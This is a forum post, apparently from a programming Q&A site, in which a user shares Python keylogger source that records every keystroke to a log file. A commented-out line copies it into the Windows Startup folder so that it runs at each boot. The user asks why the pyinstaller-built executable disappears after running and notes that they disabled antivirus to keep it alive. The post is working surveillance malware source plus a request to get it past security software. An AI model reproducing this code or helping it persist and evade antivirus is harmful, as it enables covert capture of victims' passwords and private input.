This is my code:
from pynput.keyboard import Listener
import os
import logging
from shutil import copyfile
username = os.getlogin()
logging_directory = f'D:/'
#copyfile('Keylogger.py', f'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Keylogger.py')
#For executing this program everytime system boots
logging.basicConfig(filename=f'{logging_directory}/log.txt', level=logging.DEBUG, format='%(asctime)s: %(message)s')
def key_handler(key):
logging.info(key)
with Listener(on_press=key_handler) as listener:
listener.join()
So I installed pyinstaller and was able to create a .exe file called Keylogger.exe. However, after I run the program, it opens for a second and then disappears from the system. It's not in the recycle bin either. I also tried to run it as an administrator but it still shows the same results. When I executed this with cmd, it just said:
The system cannot execute the specified program
How do I fix this issue?
Update: I disabled anti-virus. Now it just says that the file can't be executed